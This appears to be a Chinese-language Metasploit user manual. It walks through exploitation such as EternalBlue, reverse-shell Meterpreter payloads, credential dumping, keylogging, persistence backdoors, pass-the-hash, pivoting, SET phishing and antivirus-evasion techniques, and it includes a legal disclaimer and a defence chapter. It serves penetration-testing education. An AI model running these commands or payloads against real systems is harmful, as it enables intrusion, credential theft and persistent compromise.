MSF User Manual

Metasploitable Framework User Manual

Metasploit 操作手册

Author: Asterism && Deepseek Date: 2026.3.17

Lastest edited on 2026.3.19


目录


第1章 Metasploit 概述

1.1 什么是 Metasploit

Metasploit 是一款开源的渗透测试框架,集成了大量已知漏洞的利用代码、攻击载荷、辅助模块等,帮助安全人员验证漏洞、进行渗透测试。它由 Rapid7 维护,是目前最流行的渗透测试工具之一。

1.2 Metasploit 体系结构

Metasploit 采用模块化设计,核心组件包括:

  • Exploit(漏洞利用模块):针对特定漏洞的攻击代码。
  • Payload(攻击载荷):漏洞利用成功后执行的代码,如反弹 Shell。
  • Auxiliary(辅助模块):用于扫描、信息收集、嗅探等,不直接获取权限。
  • Encoder(编码器):对 Payload 进行编码,规避检测。
  • Post(后渗透模块):在获得会话后执行进一步操作,如提权、哈希抓取。
  • NOP(空指令生成器):用于缓冲区溢出对齐。

1.3 核心概念

  • Listener:等待目标回连的监听器。
  • Session:成功建立的连接会话,可以是 Shell 或 Meterpreter。
  • Handler:处理入站连接的模块,通常与 Payload 配合使用。

1.4 法律与道德规范

Metasploit 是一把双刃剑。未经授权对任何系统进行测试均属违法行为。请仅在您拥有合法授权的环境中(如自建靶机、授权渗透测试)使用。


第2章 环境搭建与基础配置

2.1 安装 Metasploit

  • Kali Linux:默认集成,直接使用。
  • 其他 Linux(Debian/Ubuntu)
    sudo apt update && sudo apt install metasploit-framework
    
  • Windows/macOS:可从 Rapid7 官网下载安装包,或使用 Docker 镜像。

2.2 启动 msfconsole

sudo msfconsole

首次启动可能较慢,需初始化数据库。

2.3 配置数据库(PostgreSQL)

Kali 中默认配置,可用 db_status 检查。若未连接:

systemctl start postgresql
msfdb init

数据库用于存储扫描结果、主机信息等,便于管理。

2.4 更新 Metasploit

msfupdate

或通过包管理器更新。

2.5 靶场环境搭建

  • Metasploitable2/3:专门为练习设计的漏洞靶机。
  • VulnHub:提供多种虚拟机镜像。
  • 自建 Windows/Linux 虚拟机:注意关闭防火墙并保留漏洞。

第3章 Metasploit 基础使用

3.1 msfconsole 基本命令

命令说明
help显示帮助
search <关键词>搜索模块
use <模块路径>使用模块
info显示模块信息
show options查看模块参数
set <参数> <值>设置参数
run / exploit执行模块
back退出当前模块
exit退出 msfconsole

3.2 工作区管理

workspace -a <name>   # 创建并切换
workspace             # 查看当前
workspace <name>      # 切换
workspace -d <name>   # 删除

工作区隔离不同项目的数据。

3.3 模块查找与信息查看

search type:exploit platform:windows cve:2021
use exploit/windows/smb/ms17_010_eternalblue
info
show options
show targets   # 查看支持的目标系统版本

3.4 第一个漏洞利用实战(永恒之蓝)

假设靶机为 Windows 7(未打补丁):

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set LHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

成功后进入 Meterpreter 会话。

3.5 会话管理

  • sessions -l 列出会话
  • sessions -i <ID> 进入会话
  • background 挂起当前会话
  • kill <ID> 关闭会话

第4章 信息收集

4.1 使用 auxiliary 模块扫描

端口扫描

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 1-1000
set THREADS 10
run

服务识别

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.10
run

特定服务枚举

use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/http/http_version

4.2 使用 db_nmap 集成 Nmap

db_nmap -sV -p 1-1000 192.168.1.10

结果自动存入数据库,可用 hostsservices 查看。

4.3 管理数据库结果

hosts
hosts -c address,os_flavor
services -p 445
vulns          # 查看发现的漏洞
loot           # 查看获取的凭据、文件

第5章 漏洞利用

5.1 exploit 模块基础

每个 exploit 都有必需的参数,如 RHOSTSRPORTLHOSTLPORT,以及可选的 TARGET(指定系统版本)。

5.2 设置 exploit 选项

set RHOSTS 192.168.1.10
set RPORT 445
set LHOST 192.168.1.100
set LPORT 4444
set TARGET 1   # 根据 show targets 选择

5.3 选择正确的 payload

根据目标操作系统、架构及网络环境选择,详见第6章。

5.4 执行与排错

  • 使用 check 命令(部分模块支持)预检测漏洞是否存在。
  • 若利用失败,检查网络、防火墙、漏洞条件、payload 兼容性。
  • 启用详细输出:set VERBOSE true

5.5 常用 exploit 示例

  • MS17-010(永恒之蓝)exploit/windows/smb/ms17_010_eternalblue
  • SMBGhost(CVE-2020-0796)exploit/windows/smb/cve_2020_0796_smbghost
  • Tomcat 弱口令部署exploit/multi/http/tomcat_mgr_deploy
  • Apache Struts2exploit/multi/http/struts2_rest_xstream

5.6 多目标与批量利用

使用 set RHOSTS file:/path/targets.txt 或循环脚本批量扫描利用。


第6章 Payload 详解

本章内容整合了之前的《Metasploit Payload 操作手册》,以下为要点。

6.1 Payload 基础概念

Payload 是漏洞利用成功后执行的代码,分为 Staged(分阶段)和 Stageless(单阶段)。

6.2 Payload 分类

  • 按连接方向reverse_*(反向)、bind_*(正向)
  • 按功能shellmeterpreterexecadduser
  • 按阶段:Staged(如 meterpreter/reverse_tcp)、Stageless(如 meterpreter_reverse_tcp

6.3 如何选择 Payload

考虑因素:目标 OS/架构、网络环境、功能需求、稳定性、免杀需求。

6.4 使用 msfvenom 生成 Payload

基本语法:

msfvenom -p <payload> LHOST=<IP> LPORT=<PORT> -f <format> -o <output>

常用选项:

  • -e 指定编码器
  • -i 编码次数
  • -x 模板文件
  • -k 保留模板功能

6.5 配置监听器

use exploit/multi/handler
set payload <与生成一致的 payload>
set LHOST <IP>
set LPORT <PORT>
exploit -j

6.6 常用 Payload 速查表

目标平台Payload 名称类型说明
Windows x86windows/meterpreter/reverse_tcpStaged经典反向 Meterpreter
Windows x64windows/x64/meterpreter/reverse_tcpStaged64位反向 Meterpreter
Linux x86linux/x86/shell_reverse_tcpStageless反向 Shell
Androidandroid/meterpreter/reverse_tcpStagedAndroid Meterpreter
PHPphp/meterpreter_reverse_tcpStagelessPHP Meterpreter

详细示例见附录及之前手册。


第7章 Meterpreter 后渗透

7.1 Meterpreter 基础命令

  • help:查看所有命令
  • sysinfo:系统信息
  • getuid:当前用户
  • getpid:当前进程 PID

7.2 文件系统操作

  • upload /local/file C:\\target\\path
  • download C:\\target\\file /local/path
  • edit <file>:编辑文件
  • cat <file>:查看文件内容
  • lscdpwdrmmkdir

7.3 进程管理

  • ps:列出进程
  • kill <PID>:结束进程
  • migrate <PID>:迁移到指定进程
  • migrate -N explorer.exe:迁移到 explorer.exe

7.4 系统信息收集

  • ifconfig / ipconfig:网络配置
  • route:路由表
  • arp:ARP 缓存
  • netstat:网络连接
  • getenv:获取环境变量

7.5 提权

  • getsystem:尝试自动提权(多种技术)
  • 使用 bypassuac 模块:
    background
    use exploit/windows/local/bypassuac
    set SESSION 1
    run
    

7.6 凭据获取

  • hashdump:抓取本地用户哈希(需 SYSTEM)
  • kiwi 模块(原 mimikatz):
    load kiwi
    creds_all
    lsa_dump_sam
    

7.7 键盘记录与屏幕截图

  • keyscan_start / keyscan_dump / keyscan_stop
  • screenshot:截取桌面

7.8 令牌操作

  • steal_token <PID>:窃取令牌
  • rev2self:恢复原始令牌

7.9 后渗透模块(post)

use post/windows/gather/enum_logged_on_users
set SESSION 1
run

常用模块:enum_patchesenum_servicescheck_vm 等。

7.10 持久化后门

run persistence -X -i 60 -p 4444 -r 192.168.1.100
  • -X:开机自启
  • -i:重连间隔(秒)
  • -p-r:监听端口与 IP

也可使用 exploit/windows/local/persistence 模块。


第8章 内网渗透与横向移动

8.1 端口转发(portfwd)

在 Meterpreter 中:

portfwd add -L 0.0.0.0 -l 33389 -p 3389 -r 10.10.10.5

将内网 10.10.10.5 的 3389 转发到本机 33389,随后可用 rdesktop 127.0.0.1:33389 连接。

8.2 添加路由(autoroute)

通过已控机器访问内网:

background
route add 10.10.10.0 255.255.255.0 1   # 1 是会话ID

或使用 post 模块:

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
run

8.3 SOCKS 代理

  1. 启动 socks_proxy:
    use auxiliary/server/socks_proxy
    set SRVHOST 127.0.0.1
    set SRVPORT 1080
    run -j
    
  2. 配置 proxychains:编辑 /etc/proxychains4.conf,添加 socks4 127.0.0.1 1080
  3. 使用 proxychains 运行工具:proxychains nmap -sT -Pn 10.10.10.5

8.4 内网漏洞利用

添加路由后,MSF 可直接攻击内网主机:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set LHOST 192.168.1.100   # 攻击机 IP
run

8.5 PTH(Pass The Hash)

若获得 NTLM 哈希,可直接用哈希登录:

use exploit/windows/smb/psexec
set RHOST 10.10.10.5
set SMBUser Administrator
set SMBPass <LMHASH:NTHASH>   # 格式如 aad3b435b51404eeaad3b435b51404ee:哈希
run

8.6 域渗透初步

  • 使用 auxiliary/gather/ldap_query 查询域信息
  • post/windows/gather/enum_domain 枚举域
  • 利用 Kerberos 攻击(需额外工具)

第9章 辅助模块深入

9.1 扫描器模块

  • 端口扫描:auxiliary/scanner/portscan/*
  • 服务扫描:auxiliary/scanner/*/*_version
  • 漏洞扫描:auxiliary/scanner/smb/smb_ms17_010

9.2 管理模块

  • post/multi/manage/*:如 autorouteshell_to_meterpreter
  • auxiliary/admin/*:如 smb/psexec_command

9.3 网络协议欺骗与嗅探

  • auxiliary/spoof/*:ARP 欺骗、DNS 欺骗
  • auxiliary/sniffer/*:抓包分析

9.4 拒绝服务测试(谨慎使用)

  • auxiliary/dos/*:仅授权环境使用。

9.5 Fuzzing 模块

  • auxiliary/fuzzers/*:用于漏洞挖掘。

第10章 编码器与免杀

10.1 编码器原理

编码器通过改变 Payload 的字节序列,绕过基于签名的杀毒软件检测。但现代 AV 多使用行为分析,编码器效果有限。

10.2 常用编码器

  • x86/shikata_ga_nai:多态编码,常用。
  • x86/jmp_call_additivex86/call4_dword_xor
  • x64/xor
  • cmd/powershell_base64:PowerShell 编码。

10.3 编码实战

msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=... -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

10.4 免杀技巧

  • 使用模板文件捆绑(-x
  • 自定义加载器(如 PowerShell 反射加载、Shellcode 加密)
  • 加壳(如 UPX)
  • 数字签名伪造
  • 分离免杀:将 Shellcode 放在远程服务器,本地只加载。

第11章 自动化与脚本编写

11.1 Resource 脚本(RC 文件)

将 msfconsole 命令写入 .rc 文件,用 resource 执行:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j

执行:msfconsole -r handler.rc 或在 msf 内 resource handler.rc

11.2 使用 makerc 记录命令

在 msfconsole 中执行一系列操作后,输入 makerc /tmp/script.rc 保存历史命令。

11.3 基础 Ruby 脚本入门

Metasploit 模块用 Ruby 编写。简单示例(自定义 auxiliary):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'My Custom Scanner',
      'Description' => 'Scans for something',
      'Author'      => ['Your Name'],
      'License'     => MSF_LICENSE
    ))
    register_options([
      OptString.new('RHOSTS', [true, 'Target address range'])
    ])
  end

  def run
    print_status("Scanning #{datastore['RHOSTS']}")
    # 扫描逻辑...
  end
end

将脚本放入 ~/.msf4/modules/auxiliary/scanner/ 即可使用。


第12章 社会工程学工具包(SET)结合

12.1 SET 简介

Social-Engineer Toolkit(SET)专注于社会工程学攻击,如钓鱼邮件、恶意文件生成。

12.2 使用 SET 生成恶意文件

sudo setoolkit

选择 1) Social-Engineering Attacks -> 4) Mass Mailer Attack2) Website Attack Vectors 等。生成的文件可与 Metasploit 监听器结合。

12.3 结合 Metasploit 监听

SET 生成的 Payload 默认使用 Metasploit 格式,只需在 MSF 中启动对应 Handler 即可接收会话。


第13章 第三方工具集成

13.1 与 Nmap 集成

  • 通过 db_nmap 直接导入结果。
  • 使用 proxychains 让 Nmap 走 MSF 代理。

13.2 与 Sqlmap 集成

在获得 Web Shell 后,可通过代理让 Sqlmap 探测内网数据库:

proxychains sqlmap -u http://10.10.10.5/sql.php?id=1

13.3 与 Burp Suite 结合

设置 Burp 上游代理为 MSF SOCKS 代理,或将 Burp 扫描结果导入 MSF 手动验证。

13.4 与 Empire/Cobalt Strike 联动

可以将会话派生(spawn)给其他 C2 框架,或通过外部 C2 控制 MSF 会话。


第14章 日志、报告与数据库

14.1 数据库管理进阶

  • db_export -f xml /path/report.xml:导出报告。
  • db_import /path/nmap.xml:导入外部扫描结果。
  • hosts -R:将当前主机列表设为 RHOSTS(配合 services 使用)。

14.2 记录会话与操作

  • sessions -s <script>:对多个会话执行脚本。
  • spool /path/log.txt:将控制台输出保存到文件。

第15章 实战案例演练

15.1 从外网打点到内网域控

  1. 外网 Web 漏洞 getshell,获得低权限会话。
  2. 提权至 SYSTEM,抓取哈希。
  3. 发现内网网段,添加路由,扫描域控。
  4. 利用 MS17-010 或 PTH 攻击域控。
  5. 获取域管理员哈希,登录域控,完成渗透。

15.2 使用 MSF 完成一次完整渗透测试

  • 信息收集(db_nmap、辅助模块)
  • 漏洞扫描与利用
  • 后渗透(提权、哈希、持久化)
  • 内网横向移动
  • 报告生成

15.3 常见漏洞环境攻略

  • Metasploitable 2:vsftpd 后门、UnrealIRCd、Samba 等。
  • VulnHub 靶机:如 Kioptrix、DC 系列。

第16章 安全建议与防御

16.1 检测 Metasploit 攻击

  • 监控常见端口(4444、5555 等)的反向连接。
  • 检测 SMB 流量中的永恒之蓝特征。
  • 使用 EDR 监控 Meterpreter 行为(如进程注入、哈希抓取)。

16.2 防御措施

  • 及时打补丁。
  • 最小化开放端口,启用防火墙。
  • 使用强密码,启用多因素认证。
  • 部署杀毒软件并定期更新。
  • 网络分段,隔离重要资产。

16.3 日志审计

  • 开启 Windows 安全审计,记录登录事件。
  • 定期审查系统日志,发现异常。

第17章 附录

17.1 msfconsole 命令速查

命令说明
help帮助
search搜索模块
use使用模块
show options显示选项
set设置选项
run执行
back返回
sessions会话管理
jobs后台任务
workspace工作区
db_nmap调用 Nmap
hosts查看主机
services查看服务

17.2 msfvenom 输出格式列表

  • exe:Windows 可执行文件
  • elf:Linux 可执行文件
  • raw:纯二进制 Shellcode
  • python:Python 代码
  • c:C 语言数组
  • ps1:PowerShell 脚本
  • php:PHP 代码
  • asp:ASP 脚本
  • war:Java Web 应用包
  • macho:macOS 可执行文件
  • dll:Windows DLL
  • vba:VBA 宏
  • hex:十六进制字符串

17.3 常用编码器列表

  • x86/shikata_ga_nai
  • x86/jmp_call_additive
  • x86/call4_dword_xor
  • x64/xor
  • cmd/powershell_base64
  • php/base64

17.4 Payload 命名规则详解

  • 操作系统/架构/功能/连接方式,如 windows/x64/meterpreter/reverse_tcp
  • 单阶段(stageless)用 _ 连接,如 windows/meterpreter_reverse_tcp

17.5 常见错误与解决方案

错误可能原因解决方法
Exploit failed: No target specified未设置 RHOSTSset RHOSTS <IP>
Connection refused目标未开放端口或防火墙阻止检查端口、防火墙规则
The target is not vulnerable目标已打补丁更换目标或使用其他 exploit
Failed to load module模块路径错误检查模块名,使用 search 确认
Session died目标重启或网络中断尝试持久化,重新获取